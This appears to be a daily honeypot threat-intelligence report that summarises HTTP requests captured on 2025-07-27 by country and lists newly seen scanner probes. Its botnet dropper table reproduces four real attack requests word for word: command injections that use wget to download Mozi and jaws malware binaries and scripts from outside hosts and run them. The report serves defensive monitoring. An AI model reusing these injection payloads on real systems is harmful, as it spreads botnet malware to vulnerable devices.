Table of Contents

Daily Report: 2025-07-27
#

Executive summary
#

interaction report on http service of various Hhoneypot around the world.

Executive summary
OT report simplified
Botnet dropper behaviour
List of request
List of country_iso_code

executive_summary
#

In today’s repport, we detected 4 stage 1 IP address(es), linked to 4 dropper URL(s).

There are 16 new requests that have never been observed before (these were added to the monitored request database.).

A total of 542 requests were recorded during the day, originating from 4 different countries, with a peak of 196 requests coming from DE.

ot_simplified_report
#

simplified report for medium-level interactions with honeypots that mimic industrial systems (web site loading, or interactions with the website), for more contact us on social@shoggoth.industries.

source_country	targeted_country
US	Germany
US	Germany
US	Dubai

botnet_dropper_behaviour
#

remote_addr	request
61.52.50.221	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://61.52.50.221:58216/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
185.180.39.132	GET /shell?cd+/tmp;rm+arm+arm7;wget+http:/\x5C/89.221.203.116:6969/bins/arm7;chmod+777+arm7;./arm7+selfrep.jaws;wget+http:/\x5C/89.221.203.116:6969/bins/arm;chmod+777+arm;./arm+selfrep.jaws; HTTP/1.1
174.44.216.194	GET /device.rsp?opt=sys&cmd=S_O_S_T_R_E_A_MAX&mdb=sos&mdc=cd+/tmp;wget+http://unjiproxy.p-e.kr:6969/selftbk.sh+-O-
47.100.130.148	GET /shell?cd+/tmp;rm+-rf+*;wget+ scamanje.stresserit.pro/jaws;sh+/tmp/jaws HTTP/1.1

request
#

The list of requests presented here are those that have not yet been yet integrated into the request database.

	number_of_occurence	request
56	2	CONNECT connectivitycheck.gstatic.com:443 HTTP/1.1
86	1	GET /NmapUpperCheck1753582172 HTTP/1.1
97	1	GET /ise/img/rm-logo_small.png HTTP/1.1
98	1	GET /Nmap/folder/check1753582172 HTTP/1.1
118	1	GET /odinhttpcall1753644045 HTTP/1.1
121	1	GET /OdinHttpCall1753644045 HTTP/1.1
125	1	GET /Odin/http/call1753644045 HTTP/1.1
137	1	GET /nmaplowercheck1753582172 HTTP/1.1
138	1	GET /cgi-mod/header_logo.cgi?size=big HTTP/1.1
139	1	GET /IfgF HTTP/1.1
191	1	\x00\x0E8\xF4c2\xE9\xBC\x0EMe\x00\x00\x00\x00\x00
204	1	GET /main/main.html HTTP/1.1
216	1	GET /Odin/http/call1753622389 HTTP/1.1
217	1	GET /OdinHttpCall1753622389 HTTP/1.1
218	1	GET /odinhttpcall1753622389 HTTP/1.1
263	1	\x00\x0E8\xE7&\xF2+o\xFC-\x06\x00\x00\x00\x00\x00